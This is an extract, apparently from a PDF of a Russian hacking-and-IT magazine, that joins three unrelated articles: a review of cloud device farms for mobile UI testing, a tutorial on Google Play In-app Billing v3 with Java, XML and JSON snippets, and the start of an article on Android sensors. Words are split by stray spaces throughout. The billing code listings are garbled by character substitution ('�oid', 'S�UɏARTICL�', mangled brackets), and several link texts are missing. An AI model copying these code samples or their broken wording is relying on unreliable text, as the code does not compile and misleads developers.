DevOps‐инс тру мен ты для сбор ки и авто мати чес кого запус ка этих скрип тов —
и мож но забыть о той мрач ной кар тине с кучей челове ко‐часов для каж дого
релиза.

В прош лых стать ях (  и  , если ты их еще не читал) мы уже рас‐ 
смат ривали исполь зование мобиль ных DevOps‐кон вей еров, поэто му сей час
можем сфо куси ровать ся на под боре отдель ной облачной фер мы устрой ств.

пер вая вто рая

Се год ня мы погово рим про популяр ные облачные фер мы устрой ств: Firebase
Test Lab, Samsung Remote Test Lab, AWS Device Farm, Sauce Labs, Xamarin Test
Cloud, Perfecto.

Как это работа ет
Встро енная авто мати зация UI‐тес тирова ния появи лась отно ситель но недав‐ 
но:  iOS  9.0  (XCTest  UI)  и  Android  4.3  (UI  Automator,  хотя  Espresso  и  работал
с Android 2.2).

На  ниж нем  уров не  все  реали зова но  дос таточ но  прос то:  вмес те  с  при‐ 
ложе нием запус кает ся спе циаль ный скрипт, который зас тавля ет ОС ими тиро‐ 
вать работу реаль ного поль зовате ля — касания, пог лажива ния, жес ты паль‐ 
цами и нажатия на кноп ки устрой ства.

Су щес тву ет  нес коль ко  популяр ных  под систем  для  выпол нения  скрип тов:
Appium, Calabash, Espresso, Robotium, UI Automator for Android, XCTest for iOS,
которые,  в  свою  оче редь,  под держи вают  один  или  нес коль ко  язы ков  прог‐ 
рамми рова ния — Ruby, C#, Java, Python, Swift.

БЕСПЛАТНО И СЕРДИТО
Так как проб лема с раз нород ностью пар ка устрой ств акту аль на в пер вую оче‐ 
редь для Android, то зна комс тво мы нач нем с ферм Google и Samsung.

Samsung Remote Test Lab
Пер вым на оче реди у нас будет сер вис  . Этот сер‐ 
вис  тех нологи чес ки  уже  уста рел  и  не  сто ил  бы  упо мина ния  в  нашей  статье,
если бы не одно но. Samsung — лидер и один из законо дате лей на рын ке An‐
droid‐смар тфо нов, поэто му ран ний дос туп к флаг ман ским новин кам поз волит
про верить работу тво его при ложе ния еще до появ ления устрой ств в про даже.
Плюс  там  есть  дос туп  к  устрой ствам  на  базе  Tizen:  линей ка  смар тфо нов  Z
и смарт‐часы Gear.

Samsung Remote Test Lab

Ра бота с сер висом выг лядит сле дующим обра зом: ты резер виру ешь устрой‐ 
ство  и  запус каешь  спе циаль ное  Java‐при ложе ние,  которое  пре дос тавля ет
уда лен ный  дос туп  к  экра ну  и  устрой ствам  вво да  (тачс крин,  кноп ки).
На  текущий момент дос тупно 25 моделей смар тфо нов и  план шетов,  каж дая
из моделей в нес коль ких экзем пля рах и модифи каци ях. Авто мати зация дела‐ 
ется на уров не руч ной записи пос ледова тель нос ти событий, а уста нав ливать
при ложе ние надо руками. В целом не ахти какие воз можнос ти, но зато совер‐ 
шенно бес плат но. И самое вкус ное — Samsung Remote Test  Lab под держи‐ 
вает удоб ный режим уда лен ной отладки! Так что мож но сме ло рекомен довать
этот  сер вис  в  качес тве  допол нитель ной  фер мы  для  руч ного  тес тирова ния
на устрой ствах Samsung.

Firebase Test Lab for Android
Наш  сле дующий  сер вис  раз работан  в  сте нах  Google  и  называ ется 

. В целом Firebase хорошо под ходит коман дам, спе циали‐ 
зиру ющим ся на раз работ ке для Android, а фер ма устрой ств — это лишь один
из  инс тру мен тов.  На  текущий  момент  дос тупно  не  так  мно го  моделей

 (око ло 30, спи сок ниже на скрин шоте), одна ко име ется так же воз‐ 
можность запус ка на эму лято рах. Test Lab вклю чен в еди ную под писку на сер‐ 
вис Firebase и для стар та может быть совер шенно бес пла тен.

Firebase
Test Lab for Android

устройств

Firebase Test Lab, в отли чие от сер виса Samsung, лег ко интегри ровать в Dev‐
Ops‐кон вей ер.  Тес товые  сце нарии  воз можно  реали зовать  с  помощью  инс‐ 
тру мен тов Espresso, Robotium, UI Automator 2.0 и Robo. Во вре мя выпол нения
сце нари ев дела ются скрин шоты. В целом это хорошее решение для Android‐
раз работ ки  неболь ших  про ектов  с  исполь зовани ем  натив ных  инс тру мен тов.
Дешево (бес плат но!) и сер дито.

СПЕЦИАЛИЗИРОВАННЫЕ ПРОФЕССИОНАЛЬНЫЕ ФЕРМЫ
Не  Samsung’ом  еди ным  живут  Android‐раз работ чики,  поэто му  про дол жить
наш  обзор  хотелось  бы  более  круп ными  фер мами,  которые  под держи вают
iOS, име ют боль шой парк моделей и тре буют денег.

AWS Device Farm
,  как  и  все,  что дела ет Amazon,  отли чает ся мас штаб ностью

и фун кци ональ ностью.  Дос тупно  поч ти  400  устрой ств  (око ло  100  моделей),
цены от 0,17 дол лара за минуту, есть анлим (!) и 1000 пер вых минут бес плат‐ 
но.  Сто ит  отме тить  высокое  качес тво  сер виса  и  воз можность  интегра ции
в  DevOps‐кон вей ер.  Для  написа ния  скрип тов  мож но  исполь зовать  Appium
(iOS  +  Android),  Calabash  (iOS  +  Android),  Espresso  (Android),  Robotium  (An‐
droid), UI Automation (iOS) и XCTest (iOS) и ряд дру гих. В целом это доб ротный
и клас сичес кий сер вис в духе Amazon, который подой дет широкой ауди тории
раз работ чиков.

AWS Device Farm

Xamarin Test Cloud
Сле дующий про фес сиональ ный сер вис —  . Более 2500 (не
опе чат ка) реаль ных устрой ств! Под держи вают ся iOS, Android и пол ный набор
воз можнос тей  (скрин шоты,  авто мати зиро ван ные  скрип ты,  видео,  обе щают
еще  и  уда лен ную  отладку  и  запись  видео  в  будущем).  За  все  про  все  —
от  99  дол ларов  в  месяц.  Сер вис  иде аль но  под ходит  как  раз работ чикам
кросс‐плат формен ных  решений  (Xamarin,  React  Native),  так  и  про ектам
с  широкой  поль зователь ской  ауди тори ей  (как  следс твие  —  высокий  охват
модель ного ряда). Под держи вает авто мати зиро ван ные скрип ты на базе Cala‐
bash и Xamarin.UITest.

Xamarin Test Cloud

СТАРИЧКИ
И завер шим мы наш сегод няшний обзор дву мя мно гофун кци ональ ными сер‐ 
висами, пред лага ющи ми так же ком плексные услу ги и сер висы по тес тирова‐ 
нию широко го спек тра прог рам мно го обес печения: мобиль ные и гиб ридные
при ложе ния, а так же веб‐сай ты.

Sauce Labs
Зна комь ся, это  . Один из ста рожи лов рын ка авто мати зиро ван ного
тес тирова ния.  К  его  соз данию  при ложил  руку  сам  Джей сон  Хаг гинс  (Jason
Huggins), раз работ чик Selenium. Sauce Labs — взрос лый сер вис для взрос лых
команд. Цены от 149 дол ларов в месяц, есть натив ные и гиб ридные при ложе‐ 
ния  для  iOS  и  Android  и  воз можность  орга низо вать  свое  час тное  обла ко
или  про вес ти  тес тирова ние  в  руч ном  режиме.  Есть  под дер жка  интегра ции
с  DevOps‐кон вей ера ми  и  запуск  на  эму лято рах/симуля торах,  хотя  самих
моделей  устрой ств  заяв лено  не  боль ше  двад цати.  Дру гими  сло вами,  пок‐ 
лонни кам Selenium — самое оно.

Sauce Labs

Perfecto
И завер шим мы наш обзор одной из ста рей ших ферм устрой ств от ком пании

.  Еще  во  вре мена  Symbian  и  Windows  Mobile  эта  ком пания  начала
пред лагать свои устрой ства в арен ду. Цены были высокие, но на три але мож‐ 
но было быс трень ко прог нать при ложе ние и убе дить ся, что оно работа ет (или
не  работа ет).  Для  iOS  дос тупно  поряд ка  20  раз личных  моделей,  а  для  An‐
droid — боль ше 50. В качес тве фрей мвор ка пред лагаю исполь зовать Appium.
Тес тировать  вруч ную  мож но  бес плат но,  а  вот  авто мати зация  будет  сто ить
от 299 дол ларов в месяц.

Perfecto

ВЫВОДЫ
Мы  рас смот рели  самые  инте рес ные  на  текущий  момент  фер мы  устрой ств,
поз воля ющие  снять  проб лему  руч ного  тес тирова ния.  Если  ты  еще  не  опре‐ 
делил ся, с чего начать, то можешь ори енти ровать ся на сле дующее:

ес ли ты один и пишешь на Java/Kotlin для Android, то сме ло бери Firebase
Test Lab (бес плат но);

•

хо чешь  под клю чить  уда лен ный  дебаг гер —  есть  толь ко  у  Samsung  (бес‐ 
плат но);

•

ищешь  сер вис  с  мак сималь ным  пок рыти ем  устрой ств  —  рекомен дуем
Xamarin Test Cloud (от 99 дол ларов в месяц).

•

В  любом  слу чае  на  рын ке  име ется  дос таточ ное  количес тво ферм  на  любой
тех нологи чес кий  стек  и  кошелек,  поэто му  мож но  лег ко  подоб рать  под‐ 
ходящий.  Теперь  наконец  мож но  выпус тить  изму чен ных  тес тиров щиков
из под вала и вер нуть им пас порта. Приш ло вре мя авто мати зиро вать ся.

https://xakep.ru/2017/02/17/devops-authomatization/
https://xakep.ru/2017/03/29/mobile-devops-vsmc/
http://developer.samsung.com/remotetestlab
https://firebase.google.com/docs/test-lab/
https://aws.amazon.com/ru/device-farm
https://www.xamarin.com/test-cloud
https://saucelabs.com/
https://www.perfectomobile.com/
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Ес ли  тебе  уда лось  соз дать  дей стви тель но  полез ное  при‐ 
ложе ние,  то  сто ит  задумать ся о монети зации сво их  тру дов.
Встро енная  рек лама  всег да  уро дует  про дукт,  да  и  мно го
денег она не при несет. Луч ше все го дать поль зовате лю воз‐ 
можность  прос то  зап латить —  за  допол нитель ные фун кции
или в знак бла годар ности.

GOOGLE PLAY
Су щес тву ет  нес коль ко  вир туаль ных  магази нов  при ложе ний  для  Android,
но по‐нас тояще му популяр ным оста ется  толь ко Google Play. Если  ты ищешь
Android‐при ложе ние, оно обя затель но будет в этом репози тории.

Ус лышав  о  про паган де  монопо лии  Google  Play,  в  эту  статью  стре митель но
вры вает ся Евге ний Зоб нин со сво ей ста рой, а точ нее — клас сичес кой стать‐ 
ей « ».От вязыва ем смар тфон от все видя щего ока Google

Как  и  в  любом  джентль мен ском  клу бе,  в  Google  Play  есть  свои  пра вила
поведе ния.  Так,  про дажа  встро енно го  кон тента  обя зана  быть  орга низо вана
через  In‐app  Billing  API —  ком пания  будет  выс тупать  пос редни ком,  забирая
себе про цент от упла чен ных поль зовате лями денег.

Из это го пра вила есть и неболь шие исклю чения: раз работ чик может брать
день ги  с  поль зовате лей  нап рямую,  если  он  будет  про давать  что‐то  очень
реаль ное, вро де еды или ави аби летов.

IN-APP BILLING V. 3
Google  активно  работа ет  над  сво ими  про дук тами:  непопу ляр ные  зак рыва‐ 
ются,  а  вос тре бован ные  регуляр но  получа ют  обновле ния.  Для  In‐app  Billing
уже  дос тупна  третья  вер сия,  которую мы  сегод ня  и  будем  исполь зовать. И,
как это при нято у круп ных ком паний, пре дыду щие вер сии API быс тро перес‐ 
тают  под держи вать ся.  Если  у  тебя  есть  про дукт  с  интегри рован ной  ста рой
вер сией In‐app Billing, рекомен дую быс трее обно вить ся.

На до  ска зать,  что  обновле ние  получи лось  доволь но  инте рес ным.  Самое
глав ное, теперь про дать поль зовате лю мож но толь ко два вида кон тента: под‐ 
писку или еди нов ремен ную покуп ку.

  Поль зователь  будет  пос тоян но  пла тить  за  поль зование  при‐ 
ложе нием, вно ся день ги каж дый месяц или раз в год. Интерва лы пла тежей
нас тра ивают ся раз работ чиком, и тут есть где про демонс три ровать талант
мар кетоло га.

• Под писка.

 Это воз можность один раз получить с поль‐ 
зовате ля день ги за какую‐то фиш ку тво его при ложе ния: дос пехи для пер‐ 
сонажа,  допол нитель ные  фун кции  или  отклю чение  рек ламы.  При  этом
для еди нов ремен ных покупок вве ден параметр «пот реблен» (consumed) —
инди катор  того,  получил  ли  поль зователь  опла чен ный  кон тент  или  нет.
Как толь ко услу га будет пре дос тавле на, тот же товар мож но будет про дать
еще раз.

• Еди нов ремен ная покуп ка.

Кро ме  обновлен ных  пра вил  про даж,  Google  обе щает  в  новой  вер сии  API
еще более надеж ную и ста биль ную работу механиз ма обме на дан ными меж‐ 
ду  Android‐при ложе нием  и  сер вером  Google,  при нима ющим  день ги  поль‐ 
зовате ля.  Зву чит  все  это  доволь но  слож но,  но  ско ро  ты  пой мешь,  что
получать день ги в дей стви тель нос ти не так труд но.

ГЕНИИ КОПИРУЮТ
Сей час  будет  при ятный  сюр приз  для  начина ющих  раз работ чиков:  ком пания
Google  при гото вила  мно жес тво  неболь ших  при ложе ний,  показы вающих,
как  пра виль но  исполь зовать  воз можнос ти  эко сис темы  Android.  И  это  очень
полез но: обыч но пос ле чте ния докумен тации появ ляют ся воп росы, а отве ты
ищут ся где‐то на сто роне. Дем ки Google всег да содер жат самый акту аль ный
код, в отли чие от форума Stack Overflow, где в топе час то бол тают ся уста рев‐ 
шие, а иног да и прос то пло хие советы.

Ра боту с In‐app Billing мы нач нем с неболь шого при ложе ния  , его
исходни ки мож но получить бук валь но тре мя кли ками в Android Studio: 

. Это неболь шая игра с про дажей кон тента, а исходни ки
снаб жены под робны ми ком мента риями.

TrivialDrive
File →

New → Import sample

На бор готовых демок от Google

Что бы  раз работ чик  точ но  не  запутал ся,  как  пра виль но  работать  со  встро‐ 
енны ми  покуп ками,  Google  самос тоятель но  фор миру ет  боль шую  часть  кли‐ 
ент ско го кода. Это доволь но муд рое решение: учи тывая деликат ность финан‐ 
сового воп роса, все при ложе ния в Google Play дол жны работать чет ко и без
оши бок,  а  луч ше  самой  ком пании  код  ник то  не  напишет.  Рекомен дую  про‐ 
бежать ся гла зами по ком мента риям в при мере — их доволь но мно го, и все
они по делу.

РЕГИСТРАЦИЯ
Про давать кон тент через In‐app Billing воз можно, толь ко если твое при ложе‐ 
ние выложе но в Google Play. Если у тебя еще нет акка унта раз работ чика, нем‐ 
ного  тебя  расс трою:  регис тра ция  сто ит  25  дол ларов.  Впро чем,  это  будет
хорошим сти мулом не бро сать прог рамми рова ние, а написать качес твен ное
при ложе ние и оку пить зат раты.

В допол нение к обыч ной пред релиз ной под готов ке — соз данию опи сания,
скрин шотов  и  запол нению  раз ных  фор мочек —  тре бует ся  еще  под готовить
кон тент  для  про дажи.  Для  однознач ной  иден тифика ции  при ложе ния  нужен
откры тый  ключ  RSA,  он  уже  сге нери рован  и  ждет  в  раз деле  «Инс тру мен ты
раз работ ки».

Раз дел «Кон тент для про дажи» будет пока еще недос тупен — пред полага‐ 
ется,  что  раз работ чик  дол жен  сна чала  написать  под ходящее  при ложе ние.
Но это усложнит понима ние про цес сов, поэто му добав ляй в манифест‐файл
раз решение Billing и ско рей заливай соз данный APK.

ʳuses‐permission androidśnameʰɑcomŜandroidŜ�endingŜBILLINGɑ ŵʴ

Про цесс  регис тра ции  товаров  для  про дажи  нес ложен,  нуж но  толь ко  опре‐ 
делить ся с ценовой полити кой. Здесь рай для уло вок про даж ника: мож но соз‐ 
давать  раз ные  цены  в  зависи мос ти  от  реги онов,  уста нав ливать  льгот ный
пери од под писки и про чее.

Ре гис тра ция SKU

У  каж дого  товара  будет  иден тифика тор,  его  при нято  называть  SKU  (stock
keeping unit)  или иден тифика тором  товар ной позиции. Он дол жен быть  уни‐ 
каль ным,  и  его  нель зя  будет  поменять  в  даль нейшем. Вооб ще,  в  этом  раз‐ 
деле луч ше сра зу все сде лать без оши бок — к при меру, акти виро ван ную под‐ 
писку в даль нейшем убрать будет нель зя.

ПРОДАЕМ СВОЕ
Ко неч но, изу чени ем дем ки сегод ня дело не огра ничит ся, но в новый про ект
из  нее  перей дет  дос таточ но  мно гое.  В  будущее  при ложе ние  нуж но  пол‐ 
ностью ско пиро вать две пап ки: aidl и util. Код,  который за нас уже написа ли
соз датели API, зна читель но упростит вза имо дей ствие с сер верами Google.

При  изу чении  исходни ков    сра зу  заметен  один  недос таток:
набор  товаров  жес тко  зашит  в  коде,  а  это  не  очень  прак тично.  Я  решил
это  испра вить:  в  новом  при ложе нии  товары  будут  хра нить ся  в  виде  спис ка,
который  мож но  фор мировать  динами чес ки.  При  этом  у  каж дого  эле мен та
будет свой цен ник и про дажи будут совер шенно незави симы.

TrivialDrive

UI
Нач нем  с  фасада  при ложе ния  —  верс тки  его  визу аль ных  эле мен тов.  Они
могут  быть  про изволь ными,  глав ное,  что бы  поль зовате ли  за  них  пла тили.  Я
вос поль зовал ся раз меткой RelativeLayout и спис ком  . Офор млен‐ 
ная  под писка —  это  ста биль ный  доход  каж дый  месяц,  добавим  такую  воз‐ 
можность тоже.

RecyclerView

ʳRelati�eLayout   
  androidślayoutɏwidthʰɑmatchɏparentɑ
  androidślayoutɏheightʰɑmatchɏparentɑŜŜŜʴ
ʳText�iew
  androidśidʰɑɒʫidŵbuyAllFieldɑ    
  androidśtextʰɑǮȨȢȤȠȜȦȰ ȣȢȘȣȜȥȞȧɑŜŜŜŵʴ
ʳandroidŜsupportŜ�ɮŜwidgetŜRecycler�iew
  androidśidʰɑɒʫidŵsimpleListɑ
  androidślayoutɏbelowʰɑɒʫidŵbuyAllFieldɑŜŜŜŵʴ
ʳŵRelati�eLayoutʴ

Как  ты  пом нишь  из  наших  ста тей,  эле мен ты  спис ка  в  Android  тоже  име ют
собс твен ную  раз метку,  задава емую  отдель но.  Мы  мно го  раз  исполь зовали
спис ки, рекомен дую про бежать ся по моим пре дыду щим стать ям.

JSON
Эле мен тов в спис ке может быть великое мно жес тво, и генери ровать для каж‐ 
дого новый SKU нет смыс ла. Огра ничим ся все го дву мя — под пиской и еди‐ 
нов ремен ной покуп кой. Да,  у  всех  эле мен тов  спис ка будет оди нако вая  сто‐ 
имость, но зато и управлять ценовой полити кой ста нет про ще.

myListŜaddſnew ListContentſɑ�eniam nominatiŜŜŜɑř S�UɏARTICL�ř ɨƀƀŚ

У  эле мен тов  спис ка  нес коль ко  зна чений:  полез ная  наг рузка,  общий  SKU
и еще один параметр, называ емый request code. Любопыт но, что он тре бует‐ 
ся для соз дания зап роса на покуп ку, но в даль нейшем поль зы от него мало.
Ког да покуп ка совер шится, сер вер приш лет ответ в фор мате JSON, при этом
никако го  request  code  в  нем  не  ока жет ся — эта  перемен ная  поз днее будет
переда на  аргу мен том  в метод  onActivityResult.  Вот  как  выг лядит  сооб щение
от сер вера о совер шенной успешной покуп ке.

Ƈ ɑorderIdɑśɑGPAŜɨ23ɫ‐ɬɭɮ8‐ɰɥɨ2‐3ɫɬɭɮɑř
  ɑpackageNameɑśɑcomŜexampleŜappɑř
  ɑproductIdɑśɑexampleSkuɑř
  ɑpurchaseTimeɑśɨ3ɫɬɭɮ8ɰɥɥɥɥɥř
  ɑpurchaseStateɑśɥř
  ɑde�eloperPayloadɑśɑbGoaʫ�ɮgŵyqD���Rqqʫ
TFnɫuQ�bPiQ
oɫp�ɰR�
ɑř
  ɑpurchaseTokenɑśɑopaque‐token‐up‐to‐ɨɥɥɥ‐charactersɑ ƈ

IABHELPER
Пос коль ку  для  про дажи  товара  при ходит ся  обра щать ся  к  сер верам Google,
все  вза имо дей ствия  будут  мно гопо точ ными  и  асин хрон ными.  Зап рос
на  покуп ку может  прий ти  в  любой момент,  для  таких  слу чаев  в  Android  есть
широко веща тель ные  сооб щения.  Получать  такие  сооб щения  нес ложно,
для это го все го лишь нуж но на них под писать ся и соз дать обра бот чик.

Та кой обра бот чик у нас уже есть, это класс IabHelper из пап ки  . В нем
уже написан нуж ный код, оста лось толь ко его про ини циали зиро вать. Сде лать
это мож но сра зу же при ини циали зации  , в методе  .

utils

Activity onCreate

IabHelper mHelperŚ
ŜŜŜ
mHelper ʰ new IabHelperſthisř baseɭɫ�ncodedPublic�eyƀŚ
ŜŜŜ
mHelperŜstartSetupſnew IabHelperŜOnIabSetupFinishedListenerſƀ Ƈ
 ŜŜŜ
 mBroadcastRecei�er ʰ new IabBroadcastRecei�erſ�ainActi�ityŜthisƀŚ
 IntentFilter broadcastFilter ʰ new IntentFilterſIabBroadcastRecei�er
ŜACTIONƀŚ
 registerRecei�erſmBroadcastRecei�erř broadcastFilterƀŚŜŜŜ

Воп рос,  где  имен но  под писывать ся  на  такие  сооб щения,  доволь но  инте‐ 
ресен.  Обыч но  на  рас сылки  под писыва ются  в  манифест‐фай ле  или  сер‐ 
висе  —  тог да  есть  воз можность  сра зу  же  обра ботать  при шед шее  сооб‐ 
щение,  даже  если  поль зователь  свер нул  или  зак рыл  при ложе ние.  На  мой
взгляд, в слу чае с покуп ками это будет лиш ним — в будущем мы всег да смо‐ 
жем про верить, был ли ранее куп лен товар.

Ког да  поль зователь  решил,  что  имен но  он  хочет  купить,  надо  отпра вить
об  этом  сооб щение  на  сер вер.  Нуж ный  механизм  реали зован  в  методе
launchPurchaseFlow из  клас са  . Он  тре бует  дос таточ но мно го  аргу‐ 
мен тов, приг лядим ся к ним пов ниматель ней.

IabHelper

public �oid launchPurchaseFlowſActi�ity actř String skuř int reques
tCode
   OnIabPurchaseFinishedListener listenerř String extraDataƀ

Тут  все  пред ска зуемо,  кро ме  стро ки  .  Этот  параметр  еще  называ‐ 
ется developerPayload, и его пре иму щес тво в том, что он есть в JSON‐отве те.
Его пред лага ют исполь зовать в  качес тве допол нитель ной валида ции, а  зна‐ 
чит, через него мож но опре делить, какой имен но эле мент спис ка был куп лен.
У  каж дого  эле мен та  RecyclerView  есть  собс твен ный  поряд ковый  номер,
от это го и будем отталки вать ся.

extraData

public �oid onBuyItemClickedſint positionƀ Ƈ
ŜŜŜ
  mHelperŜlaunchPurchaseFlowſthisř S�UɏARTICL�ř myListŜgetſpositionƀŜ
getRCɏR�QU�STſƀř
    mPurchaseFinishedListenerř IntegerŜtoStringſpositionƀƀŚŜŜŜƈ

PURCHASEFINISHEDLISTENER
От прав ленный  зап рос  уйдет  в  парал лель ный  поток,  и  теперь  нуж но  под‐ 
готовить ся  к  обра бот ке  отве та  от  сер вера.  Имя  объ екта,  отве чающе го
за  выдачу  товара,  уже  объ явле но  —  это  ,  теперь
нуж но его объ явить:

mPurchaseFinishedListener

 IabHelperŜOnIabPurchaseFinishedListener mPurchaseFinishedListener ʰ 
 new IabHelperŜOnIabPurchaseFinishedListenerſƀ Ƈ
  public �oid onIabPurchaseFinishedſIabResult resultř Purchase 
purchaseƀ Ƈ

Бла года ря клас сам из пап ки   при пос тупле нии отве та мно гое будет сра зу
же обра бота но. Ког да при дет ответ, сра бота ет метод onIabPurchaseFinished,
и информа ция о ста тусе покуп ки будет дос тупна в объ ектах result и  .
Класс IabResult даст ответ, совер шился пла теж или нет. Если пла теж не про‐ 
шел, из него мож но будет вытащить под робное сооб щение об ошиб ке.

util

purchase

i� ſresultŜisFailureſƀƀ Ƈ
    complainſɑ�rror purchasingś ɑ ʫ resultƀŚ
    set�aitScreenſ�alseƀŚ
    returnŚƈ

JSON‐ответ уже разоб ран, для это го и есть класс  . Оста лось толь ко
про верить, что же такое купил поль зователь, и немед ленно выдать ему кон‐ 
тент  —  на  пос леднем  Google  осо бен но  нас таивает.  Основной  кри терий,
конеч но же, SKU.

Purchase

Как  ты  пом нишь,  у  еди нов ремен ных  покупок  есть  иден тифика тор  пот‐ 
ребле ния,  это  помога ет  избе жать  дуб лирован ной  про дажи  поль зовате лю
одно го и того же товара. Если покуп ка не истра чена (consumed), пов торный
зап рос на покуп ку того же SKU вер нет ошиб ку. Для выдачи эле мен та из спис‐ 
ка нуж но про верить SKU и запус тить про цеду ру по его пот ребле нию.

i� ſpurchaseŜgetSkuſƀŜequalsſS�UɏARTICL�ƀƀ Ƈ          
    try Ƈ
        mHelperŜconsumeAsyncſpurchaseř mConsumeFinishedListenerƀŚ
    ƈ ŝ ƈ

В слу чае с под пиской все про ще: нуж но толь ко про верить пра виль ность SKU,
и мож но сра зу же наг раждать поль зовате ля пре миум‐акка унтом.

else i� ſſpurchaseŜgetSkuſƀŜequalsſS�UɏSUBSCRɏ�ONTHƀƀŶŶ ſpurchaseŜ
getSkuſƀŜequalsſS�UɏSUBSCRɏ��ARƀƀƀƇ
   updateUIſpurchaseƀŚ ŝ ƈ

CONSUMEFINISHEDLISTENER
Код  клас са  —  пот ребите ля  возоб новля емых  товаров  не  будет  слож ным.
Здесь  име ет  смысл  про верить,  что  объ екты  purchase  и  result  содер жат
положи тель ный  ответ  на  зап рос  о  покуп ке,  пос ле  чего  SKU  счи тает ся  пот‐ 
реблен ным и поль зовате лю тут же нуж но выдать опла чен ный кон тент.

IabHelperŜOnConsumeFinishedListener mConsumeFinishedListener ʰ 
new IabHelperŜOnConsumeFinishedListenerſƀ Ƈ
  public �oid onConsumeFinishedſPurchase purchaseř IabResult resultƀ 
Ƈ
    i� ſresultŜisSuccessſƀƀ Ƈ
      updateUIſpurchaseƀŚƈ ŜŜŜ

У всех эле мен тов спис ка один и тот же SKU, понять, какой имен но, поможет
стро ковая перемен ная  .developerPayload

pri�ate  �oid updateUIſPurchase purchaseƀ Ƈ
i� ſpurchaseŜgetDe�eloperPayloadſƀŜequalsſɑsubɑƀƀƇ
  ŜŜŜ ƈ 
else Ƈ
   int position ʰ IntegerŜparseIntſpurchaseŜgetDe�eloperPayloadſƀƀŚ
   ŜŜŜ
   sa�eItemſpositionƀŚ ƈƈ

ОТСЛЕЖИВАНИЕ ПОКУПОК
По веде ние  поль зователь ских  устрой ств  неп ред ска зуемо,  и  совер шенно
непонят но, ког да же при дет ответ от сер вера об опла чен ной покуп ке. Такое
сооб щение может и не дой ти вооб ще.

Что бы  ничего  не  упус тить,  в  API  пре дус мотре на  воз можность  зап росить
у сер вера Google информа цию об активных покуп ках поль зовате ля — это его
под писки и те еди нов ремен ные покуп ки, которые еще не были пот ребле ны.

Ком пания нас тоятель но рекомен дует делать это регуляр но, луч ше выпол‐ 
нить лиш нее дей ствие, чем «забыть» пре дос тавить поль зовате лю опла чен ный
кон тент. Сде лать это воз можно с помощью уже зна комо го клас са  ,
выз вав метод  .

IabHelper
queryInventoryAsync

mHelperŜqueryIn�entoryAsyncſmGotIn�entoryListenerƀŚ

Как всег да в мире мно гопо точ ности, пос ле отве та от сер вера будет запущен
один из методов объ екта‐обра бот чика. Схе ма дей ствий тут схо жа с алго рит‐ 
мом пот ребле ния кон тента: про вер ка SKU и обя затель ная выдача кон тента.

IabHelperŜQueryIn�entoryFinishedListener mGotIn�entoryListener ʰ 
new IabHelperŜQueryIn�entoryFinishedListenerſƀ Ƈ
  public �oid onQueryIn�entoryFinishedſIabResult resultř In�entory 
in�entoryƀ Ƈ
    i� ſmHelper ʰʰ nullƀ returnŚ

По купок может быть мно го, поэто му все обер нуто в объ ект клас са  .
Это мас сив, из  которо го мож но выг ружать дан ные перебо ром или пря мыми
зап росами.

Inventory

Purchase articlePurchase ʰ in�entoryŜgetPurchaseſS�UɏARTICL�ƀŚ

Об наружив ранее неиз вес тные покуп ки, нуж но обно вить дан ные и обя затель‐ 
но выдать поль зовате лю опла чен ный кон тент.

Схе ма вза имо дей ствия с API

ТЕСТИРОВАНИЕ
Про верять  работу  API  дос таточ но  слож но  —  прос то  запус тить  при ложе ние
не получит ся. Нуж но сге нери ровать APK‐файл и залить его в акка унт Google
Play.  К  счастью,  нас тоящие  день ги  тра тить  не  при дет ся:  в  рам ках  аль фа‐
и бета‐тес тирова ния все покуп ки будут бес плат ными.

Офор мле ние тес товой под писки

СТАТИЧНЫЕ ОТВЕТЫ
В  рам ках  тес тов  необ ходимо  про верить  и  те  ситу ации,  ког да  покуп ка
по  какой‐то  при чине не  про изош ла. В обыч ной жиз ни  такое  смо дели ровать
слож но,  поэто му  соз датели  API  при дума ли  инте рес ный  механизм  —  спе‐ 
циаль ные име на SKU, зап росы к которым всег да воз вра щают нуж ный ответ.

К  при меру,  если  в  качес тве  кода  про дук та  пос тавить  зна чение 
,  то  покуп ка  завер шится  с  ошиб кой  «Пла теж  отме нен». Мож но

даже нас тро ить кор рек тную работу при ложе ния в таком экзо тичес ком слу чае,
как воз врат средств покупа телю, уста новив код SKU  .

android‐
.test.canceled

android.test.refunded

СОХРАНЕНИЕ
Очень  важ но  сох ранять  дан ные  о  покуп ках  поль зовате ля,  люди  не  пой мут,
если  опла чен ный  товар  однажды  про падет.  Сер вер  Google  не  хра нит
информа цию о еди нов ремен ных покуп ках, которые были пот ребле ны, а зна‐ 
чит, это нуж но делать самос тоятель но.

Ко неч но, внут ри Android мно го мест, куда мож но сох ранить дан ные, но это
ненадеж но  —  поль зователь  может  пол ностью  пере уста новить  при ложе ние
или купить новый телефон, тог да все покуп ки про падут.

ЗАКЛЮЧЕНИЕ
Встро енные покуп ки — замеча тель ная вещь, которая может прев ратить хоб‐ 
би в пос тоян ный источник дохода. Как видишь, к чужим день гам нуж но отно‐ 
сить ся не менее тре пет но, чем к сво им. И хотя Google по мак симуму ста рает‐ 
ся облегчить нам жизнь, без сво его сер вера все‐таки будет слож но. О  том,
как  же  на  нем  нас тро ить  сох ранение  дан ных  и  защитить ся  от  любите лей
халявы,  мы  еще  обя затель но  погово рим.  А  пока  жду  твои  ком мента рии
или воп росы. Уда чи!

•Офи циаль ная докумен тация по API
•Как сох ранять дан ные в Android
•Ис ходни ки соз данной прог раммы

mailto:mailforpahomov@gmail.com
https://xakep.ru/2014/07/16/leave-my-android-alone/
https://goo.gl/djyq8m
https://goo.gl/GGr2uG
https://xakep.ru/wp-content/uploads/2017/05/126654/billing-src.zip
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řŝœŗŜŒ

Сов ремен ный смар тфон уже слож но наз вать прос то компь‐ 
юте ром,  ведь  он  уме ет  гораз до  боль ше  сво его  ста ционар‐ 
ного  пред ка:  и  тем перату ру  может  изме рить,  и  высоту
над  уров нем  моря  под ска зать,  и  влаж ность  воз духа  опре‐ 
делить,  а  если  вдруг  забудешь  свою  ори ента цию  в  прос‐ 
транс тве  или  силу  тяжес ти  потеря ешь  —  все  испра вит.
А  помога ют  ему  в  этом,  как  ты  уже,  навер ное,  догадал ся,
дат чики aka сен соры. Сегод ня мы поз накомим ся с ними поб‐ 
лиже, а заод но и про верим, дей стви тель но ли мы находим ся
на Зем ле. ;)

ДАТЧИКИ ВСЯКИЕ НУЖНЫ!
Для  работы  с  аппа рат ными  дат чиками,  дос тупны ми  в  устрой ствах
под  управле нием  Android,  при меня ется  класс  ,  ссыл ку
на который мож но получить с помощью стан дар тно го метода 

:

SensorManager

getSystemSer-

vice

Sensor�anager sensor�anager ʰ ſSensor�anagerƀgetSystemSer�iceſContext
ŜS�NSORɏS�R�IC�ƀŚ

